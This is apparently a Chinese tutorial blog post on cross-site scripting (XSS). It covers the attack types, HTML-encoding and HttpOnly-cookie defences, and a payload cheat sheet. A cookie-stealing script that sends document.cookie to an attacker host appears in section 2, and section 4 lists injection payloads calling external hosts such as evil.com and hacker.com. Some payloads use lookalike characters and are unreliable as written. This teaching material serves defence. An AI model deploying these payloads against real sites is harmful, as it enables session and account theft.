1.跨站脚本(XSS)攻击?

  XSS(Cross site scripting)全称为跨站脚本攻击,是web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如Javascript)HTML代码,当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的,XSS攻击对象为客户使用层。比如获取用户的cookie,导航到恶意网站,携带木马病毒等。

原因:过度信赖客户端提交的数据,对输入的数据未做需要的过滤处理。

危害:盗取客户各类用户账号,如登录账号、网银账号、管理员账号等,使用盗取的账号进行非法的操作,比如使用对应的权限对数据删除,篡改,添加,使用网银账号进行非法转账等。

2.跨站脚本(XSS)攻击类型

①存储型

  存储型XSS,持久型站点脚本,数据存储到服务器数据库中。如在表单数据中插入数据时,没有对相应的字符进行过滤处理,提交后将对应数据提交到服务器数据库中,在用户访问该页面的时候触发攻击,从而盗取用户cookie

实例:

  在用户的评论去发表提交一条评论信息<input type="text" name=''content" value=''输入内容">,内容对应插入<script>alert('hoell')</script>,提交保存到对应的服务器后台数据库也包含对应的攻击脚本,当其他的用户访问到本用户的信息页面时,执行对应的攻击脚本,显示一个hoell的弹窗,将数据改成html标签进行攻击,打乱了原来的样式正常输出。

②反射型

  反射型XSS攻击,非持久化跨站点脚本攻击,存在欺骗用户行为,诱导用户点击预览向对应的URL。

实例:

  比如在一个输入框中输入对应的搜索数据,正常显示为搜索到的数据内容,如果未做特殊数据处理,输入<script>alert('hoell')</script>提交数据后页面弹出弹窗信息,说明输入的信息已被页面执行。

③DOM型XSS

  不经过后端,通过修改交互页面中的DOM对象并显示时也会产生XSS漏洞,DOM-XSS通过url传入的参数去控制触发,也类属于反射型XSS

④攻击实例:

盗取cookie实例:

<!DOCTYPE html>
<html>
<head>
    <title>xss攻击</title>
    <meta charset="utf-8">
</head>
<body>
<form action="./test99.php" method="post">
留言:<input type="text" name="content" value=""><br/>
<input type="submit" name="" value='提交'>
</form>
<br/>留言记录:<br/>
<script>
var Str=document.cookie;               //获取cookie
var a =document.createElement('a');        //创建a标签
a.href='http://www.linuxtest.com/test2.php?'+Str;   //攻击者主机
a.innerHTML="<img src='./aa.jpg'>";        //掩护图片
document.body.appendChild(a);              //将标签添加到页面中
</script>
</body>
</html>

跨站脚本 java 跨站脚本漏洞危害_跨站脚本 java

资料参考

3.跨站脚本(XSS)攻击防御方式

①在html实体上,对应的实体显示进行转换编译:HTML Encode

JavaScript Encode:资料参考

跨站脚本 java 跨站脚本漏洞危害_HTML_02

跨站脚本 java 跨站脚本漏洞危害_数据_03

var HtmlUtil = {
    /*1.用浏览器内部转换器实现html转码*/
    htmlEncode:function (html){
        //1.首先动态创建一个容器标签元素,如DIV
        var temp = document.createElement ("div");
        //2.然后将要转换的字符串设置为这个元素的innerText(ie支持)或者textContent(火狐,google支持)
        (temp.textContent != undefined ) ? (temp.textContent = html) : (temp.innerText = html);
        //3.最后返回这个元素的innerHTML,即得到经过HTML编码转换的字符串了
        var output = temp.innerHTML;
        temp = null;
        return output;
    },
    /*2.用浏览器内部转换器实现html解码*/
    htmlDecode:function (text){
        //1.首先动态创建一个容器标签元素,如DIV
        var temp = document.createElement("div");
        //2.然后将要转换的字符串设置为这个元素的innerHTML(ie,火狐,google都支持)
        temp.innerHTML = text;
        //3.最后返回这个元素的innerText(ie支持)或者textContent(火狐,google支持),即得到经过HTML解码的字符串了。
        var output = temp.innerText || temp.textContent;
        temp = null;
        return output;
    }
};

View Code

测试:

var html = "<br>aaaaaa<p>bbbb</p>";
var encodeHtml = HtmlUtil.htmlEncode(html);
alert("encodeHtml:" + encodeHtml);
var decodeHtml = HtmlUtil.htmlDecode(encodeHtml);
alert("decodeHtml:" + decodeHtml);

HTML Encode部分转义:

对应实体原始类型

 描述

转义名称

  

 空格

 &nbsp;

  <

小于号

 &lt;

  >

大于号

 &gt;

  &

  和

 &amp;

  "

  引号

 &quou;

  ′

  撇号

 &apos;(IE不支持)

 

 

 

 

 

 

 

 

 

②将重要的cookie标记为httponly, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了

net core中设置:参考资料   

跨站脚本 java 跨站脚本漏洞危害_HTML_02

跨站脚本 java 跨站脚本漏洞危害_数据_03

// 全局设置:
public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{

     //app.UseCookiePolicy(new CookiePolicyOptions 
            //{ 
            //    HttpOnly= HttpOnlyPolicy.Always
            //});

}

// 个别设置
 HttpContext.Response.Cookies.Append("user1", "yzz",new CookieOptions 
{ 
         HttpOnly= true,
         //Secure = true
 });
 HttpContext.Response.Cookies.Append("user2", "yzz2", new CookieOptions
{
           HttpOnly = false,
           // Secure=true
});

// 只通过https来获取cooki:Secure=true

View Code

③控制用户输入,只允许用户输入域中规定的字符或数字,将其他的不相干的字符全部进行过滤。
④过滤移除JavaScript的事件标签:比如"onclick=","onfocus=",<img src=1 onerror=alert('bark')>

⑤过滤或移除特殊的HTML标签,例如:<script>,<iframe>,&lt;for<,&gt;for>,&quot for

4.XSS的攻击载荷(参考资料

①<script标签>:最直接的xss注入点,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中

<script src=http://xxx.com/xss.js></script>  #引用外部的xss
<script> alert("hack")</script>   #弹出hack
<script>alert(document.cookie)</script> #弹出cookie

②img标签:

<img  src=1  οnerrοr=alert("hack")>
<img  src=1  οnerrοr=alert(/hack/)>
<img  src=1  οnerrοr=alert(document.cookie)>  #弹出cookie
<img  src=1  οnerrοr=alert(123)>      注:对于数字,可以不用引号
<img  src="javascript:alert("XSS");">
<img  dynsrc="javascript:alert('XSS')">
<img  lowsrc="javascript:alert('XSS')">

③<body>标签:可以使用onload属性或其他更加模糊的属性(如属性)在标记内部传递XSS有效内容background

<body οnlοad=alert("XSS")>
<body background="javascript:alert("XSS")">

④<iframe>标签:

  <iframe>标签允许另一个HTML网页的嵌入到父页面。IFrame可以包含JavaScript,但是,请注意,由于浏览器的内容安全策略(CSP),iFrame中的JavaScript无法访问父页面的DOM。然而,IFrame仍然是非常有效的解除网络钓鱼攻击的手段

<iframe src=”http://evil.com/xss.html”>

⑤input标签:

  在某些浏览器中,如果标记的type属性<input>设置为image,则可以对其进行操作以嵌入脚本。

<input type="image" src="javascript:alert('XSS');">

⑥<link>标签:

<link>标签,这是经常被用来连接外部的样式表可以包含的脚本。

<link rel="stylesheet" href="javascript:alert('XSS');">

⑦<table>标签:

  可以利用和标签的background属性来引用脚本而不是图像。

<table background="javascript:alert('XSS')">
 
<td background="javascript:alert('XSS')">

⑧<div>标签:

  <div>标签,类似于<table><td>标签也可以指定一个背景,因此嵌入的脚本。

<div style="background-image: url(javascript:alert('XSS'))">
 
<div style="width: expression(alert('XSS'));">

⑨<object>标签:

<object>标签可用于从外部站点脚本包含。

<object type="text/x-scriptlet" data="http://hacker.com/xss.html">